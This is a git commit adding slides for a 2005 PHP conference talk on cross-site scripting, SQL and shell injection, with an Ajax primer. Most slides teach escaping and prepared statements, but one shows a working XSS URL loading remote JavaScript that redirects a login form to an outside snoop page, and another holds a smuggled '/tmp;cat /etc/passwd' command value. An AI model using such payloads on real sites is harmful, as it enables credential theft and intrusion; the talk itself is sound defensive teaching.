XSS slides

This commit is contained in:
Rasmus Lerdorf
2005-09-15 03:24:23 +00:00
parent 4bb4bfad4e
commit e3ea888c3c
13 changed files with 320 additions and 21 deletions

76
slides/intro/ajax.xml Normal file
View File

@@ -0,0 +1,76 @@
<slide title="Ajax in 90 seconds">
<break lines="1" />
<image filename="ajax.png" align="center" />
<example title="rpc.js" fontsize="1.75em" marginright="0em"><![CDATA[function createRequestObject() {
var ro;
ro = window.XMLHttpRequest
? new XMLHttpRequest() :
new ActiveXObject("Microsoft.XMLHTTP");
return ro;
}
var http = createRequestObject();
function sndReq(action) {
http.open('get', 'rpc.php?action='+action);
http.onreadystatechange = handleResponse;
http.send(null);
}
function handleResponse() {
if(http.readyState == 4){
var response = http.responseText;
var update = new Array();
if(response.indexOf('|') != -1) {
update = response.split('|');
document.getElementById(update[0]).innerHTML = update[1];
}
}
}]]></example>
<blurb>
This creates a request object along with a send request and handle
response function. So to actually use it, you could include this js in
your page. Then to make one of these backend requests you would tie it
to something. Like an onclick event or a straight href like this:
</blurb>
<example fontsize="2em" marginright="0em"><![CDATA[ <a href="javascript:sndReq('foo')">[foo]</a>]]></example>
<blurb>That means that when someone clicks on that link what actually happens
is that a backend request to rpc.php?action=foo will be sent.</blurb>
<example title="rpc.php" marginright="0em"><![CDATA[<?php
switch($_REQUEST['action']) {
case 'foo':
/* do something */
echo "foo|foo done";
break;
...
}
?>]]></example>
<blurb>
Now, look at handleResponse. It parses the "foo|foo done" string and
splits it on the '|' and uses whatever is before the '|' as the dom
element id in your page and the part after as the new innerHTML of that
element. That means if you have a div tag like this in your page:
</blurb>
<example marginright="45em"><![CDATA[<div id="foo">
</div>]]></example>
<blurb>Once you click on that link, that will dynamically be changed to:</blurb>
<example marginright="45em"><![CDATA[<div id="foo">
foo done
</div>]]></example>
<blurb>Expanding this approach a bit to send multiple parameters in the
request, for example, would be really simple. Something like:</blurb>
<example fontsize="1.9em"><![CDATA[function sndReqArg(action,arg) {
http.open('get', 'rpc.php?action='+action+'&arg='+arg);
http.onreadystatechange = handleResponse;
http.send(null);
}]]></example>
</slide>

View File

@@ -1,28 +1,17 @@
<slide title="Input Filtering - Future">
<slide title="pecl/filter">
<image filename="spoon.jpg" align="right" />
<break lines="7" />
<break lines="2" />
<blurb>
Nobody is going to use that hook! People don't seem to understand how
to filter their input. We'll need to spoonfeed again.
</blurb>
<example title="Config"><![CDATA[input_filter.paranoid_admin_default_filter = stripped]]></example>
<break lines="6" />
<example title="API" marginleft="1em" marginright="0em"><![CDATA[<?php
$email = input_get(INPUT_POST, 'name', FS_EMAIL);
$age = input_get(INPUT_POST, 'age', FS_NUMBER_INT);
$url = input_get(INPUT_COOKIE, 'url', FS_URL);
$raw_msg = input_get(INPUT_POST, 'msg', FS_UNSAFE_RAW);
$options = input_array(INPUT_GET, 'options', FS_ENCODED);
<example title="API?"><![CDATA[<?php
$name = filter(POST, 'name'); /* Default filter */
$age = filter(POST, 'age', PFILT_INTEGER);
$addr = filter(POST, 'addr', PFILT_TEXT, 'UTF-8');
$data = filter_data($user_data, FS_STRIPPED);
?>]]></example>
<example title="Config"><![CDATA[input_filter.default = FILTER_TEXT
]]></example>
<example title="Strip, Escape or NULL?"><![CDATA[abc;123{def}
abc 123 def
abc%3B123%7Bdef%7D]]></example>
<blurb title="Taint Mode?"> </blurb>
</slide>

View File

@@ -0,0 +1,4 @@
<slide title="Tangent">
<break lines="10" />
<blurb fontsize="18em" align="center">APC</blurb>
</slide>

18
slides/intro/scanmus.xml Normal file
View File

@@ -0,0 +1,18 @@
<slide title="But...">
<break lines="1" />
<blurb fontsize="4em">
Protecting against XSS and other data hacks is easy enough. The hard part is ensuring you
haven't forgotten a case. So what can we do?
</blurb>
<blurb fontsize="4em">
One approach is to test thoroughly. Inject bad data in all possible inputs to your
application and test the output. Easier said than done.
</blurb>
<break lines="2"/>
<blurb fontsize="10em" align="center">Scanmus Demo</blurb>
</slide>

View File

@@ -0,0 +1,6 @@
<slide title="Resources">
<break lines="8" />
<link fontsize="3em" marginleft="0.5em" leader="Slides: " href="http://talks.php.net/show/torxss"/>
<link fontsize="3em" marginleft="0.5em" leader="pecl/filter: " href="http://files.derickrethans.nl/filter_extension.html"/>
<link fontsize="3em" marginleft="0.5em" leader="APC: " href="http://pecl.php.net/package/APC"/>
</slide>

17
slides/intro/xss.xml Normal file
View File

@@ -0,0 +1,17 @@
<slide title="XSS">
<blurb>Never display user data back to the user unfiltered.</blurb>
<example title="Traditional Form Handling" result="1"><![CDATA[<form action="<?php echo $PHP_SELF?>" method="POST">
Your name: <input type=text name=name><br>
You age: <input type=text name=age><br>
<input type=submit>
</form>
<?php
if($_SERVER['REQUEST_METHOD']=='POST') {
echo <<<EOB
Hi $_POST[name], you are $_POST[age] years old.
EOB;
} ?>]]></example>
</slide>

18
slides/intro/xss1.xml Normal file
View File

@@ -0,0 +1,18 @@
<slide title="Fixing XSS">
<break lines="1" />
<example title="Safe Form Handling" result="1"><![CDATA[<form action="<?php echo htmlspecialchars($PHP_SELF)?>" method="POST">
Your name: <input type=text name=name><br>
You age: <input type=text name=age><br>
<input type=submit>
</form>
<?php
if($_SERVER['REQUEST_METHOD']=='POST') {
$Oname = htmlspecialchars($_POST['name']);
$Oage = (int)$_POST['age'];
echo <<<EOB
Hi $Oname, you are $Oage years old.
EOB;
} ?>]]></example>
</slide>

32
slides/intro/xss2.xml Normal file
View File

@@ -0,0 +1,32 @@
<slide title="While you are at it">
DB Injection - ? placeholder, prepare/execute, mysql_real_escape_string
Shell Injection - escapeshellarg
<example title="DB" fontsize="1.5em" marginright="0em" result="0"><![CDATA[<?php
$Dname = mysql_real_escape_string($_POST['name']);
$Dage = (int)$_POST['age'];
$row = mysql_query("select from users where name='$Dname' and age='$Dage'");
?>]]></example>
<blurb>Or use ? parameters in PEAR::DB and PDO. PDO also supports named parameters.</blurb>
<example title="Named Parameters" fontsize="1.5em" marginright="0em" result="0"><![CDATA[<?php
$pdo = new PDO('mysql:dbname=testdb');
$sql = 'SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour';
$prep = $pdo->prepare($sql);
$prep->execute(array(':calories' => 150, ':colour' => 'red'));
$red = $prep->fetchAll();
$prep->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $prep->fetchAll();
?>]]></example>
<example title="Shell" fontsize="1.5em" marginright="0em" result="1"><![CDATA[<?php
$_POST['name'] = "/tmp;cat /etc/passwd";
$Sname = escapeshellarg($_POST['name']);
system("ls $Sname 2>&1");
?>]]></example>
</slide>

25
slides/intro/xss3.xml Normal file
View File

@@ -0,0 +1,25 @@
<slide title="Signing data">
<blurb>
Whenever you are passing data around either in hidden form fields or cookies, it is a good idea
to sign it to make sure you get back exactly what you generated.
</blurb>
<example title="Generating the Hash" fontsize="1.6em" type="php" result="0"><![CDATA[<form action="action.php" method="POST">
<input type="hidden" name="H[name]" value="<?php echo $Oname?>"/>
<input type="hidden" name="H[age]" value="<?php echo $Oage?>"/>
<?php $sign = md5('name'.$Oname.'age'.$Oage.$secret); ?>
<input type="hidden" name="hash" value="<?php echo $sign?>"" />
</form>]]></example>
<example title="Validating the Hash" fontsize="1.6em" result="0"><![CDATA[<?php
$str = "";
foreach($_POST['H'] as $key=>$value) {
$str .= $key.$value;
}
if($_POST['hash'] != md5($str.$secret)) {
echo "Hidden form data modified"; exit;
}
?>]]></example>
</slide>

View File

@@ -0,0 +1,14 @@
<slide title="Common Problems">
<break lines="2" />
<list fontsize="6em">
<bullet>404 page</bullet>
<bullet>Search Page</bullet>
<bullet>PHP_SELF</bullet>
<bullet>Host header </bullet>
<bullet>$_GET, $_POST, $_COOKIE</bullet>
<bullet>$_SERVER</bullet>
<bullet>?var=1 vs. ?var[]=1</bullet>
</list>
</slide>

View File

@@ -0,0 +1,53 @@
<slide title="Risks">
<break lines="1" />
<blurb fontsize="4em">Ok, that is somewhat annoying, but what can actually happen?</blurb>
<example title="Typical Form" fontsize="1.6em"><![CDATA[<html>
<head><title>My Form</title></head>
<body>
<?php
if($_SERVER['REQUEST_METHOD']=='POST' &&
$_POST['id']=='rasmus' && $_POST['pwd']=='foobar') {
echo "Welcome back ".$_POST['id'];
} else {
?>
<form action="<?php echo $_SERVER['PHP_SELF']?>" method="post">
<input type="text" name="id" />
<input type="password" name="pwd" />
<input type="submit" />
</form>
<? } ?>
</body>
</html>]]></example>
<example title="Hack" fontsize="1.5em"><![CDATA[http://localhost/form.php/%22%20method=%22POST%22%3E
%3Cscript%20src=%22http://lerdorf.com/txss%22%3E%3C/script%3E%3Cb%20a=%22]]></example>
<example title="Decoded" fontsize="1.5em"><![CDATA[http://localhost/form.php/" method="POST">
<script src="http://lerdorf.com/txss"></script><b a="]]></example>
<example title="Remote Javascript" type="javascript" fontsize="1.6em"><![CDATA[function a(event) {
document.forms[0].action = "http://lerdorf.com/snoop.php";
}
function addLoadEvent(func) {
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
oldonload();
func();
}
}
}
addLoadEvent(a);]]></example>
<list fontsize="6em">
<bullet> Stolen cookies</bullet>
<bullet> Intercepted POST requests</bullet>
<bullet> Content injection</bullet>
<bullet> Invisible requests on behalf of user</bullet>
</list>
</slide>

7
slides/lamp/failfast.xml Normal file
View File

@@ -0,0 +1,7 @@
<slide>
<title>Fail Fast!</title>
<break lines="3" />
<blurb fontsize="14em" align="center">Fail Fast</blurb>
<blurb fontsize="14em" align="center">Fail Cheap</blurb>
<blurb fontsize="14em" align="center">Be Lazy</blurb>
</slide>

40
torxss.xml Normal file
View File

@@ -0,0 +1,40 @@
<presentation
template="php2"
navmode="html"
titlecolor="#1111aa"
navbarbackground="url(images/trans-ffffff.png)"
logo1="images/php-med-trans-light.gif"
titlesize="2em"
navbarheight="4.1em"
>
<!--
60 Minutes
-->
<topic>PHP</topic>
<title>XSS and friends</title>
<event>PHP|Works 2005</event>
<location>Toronto</location>
<date>Sep 15, 2005</date>
<speaker>Rasmus Lerdorf</speaker>
<email>rasmus@php.net</email>
<url>http://talks.php.net/show/torxss</url>
<slide>slides/intro/titlepage.xml</slide>
<slide>slides/intro/xss.xml</slide>
<slide>slides/intro/xss1.xml</slide>
<slide>slides/intro/xss2.xml</slide>
<slide>slides/intro/xss3.xml</slide>
<slide>slides/intro/xss_common.xml</slide>
<slide>slides/intro/xss_risks.xml</slide>
<slide>slides/intro/scanmus.xml</slide>
<slide>slides/intro/filter.xml</slide>
<slide>slides/intro/input_filter2.xml</slide>
<slide>slides/intro/offtopic_apc.xml</slide>
<slide>slides/intro/new_apc.xml</slide>
<slide>slides/intro/php_opcode_caches3.xml</slide>
<slide>slides/intro/php_june05_bm.xml</slide>
<slide>slides/intro/torxss_ref.xml</slide>
</presentation>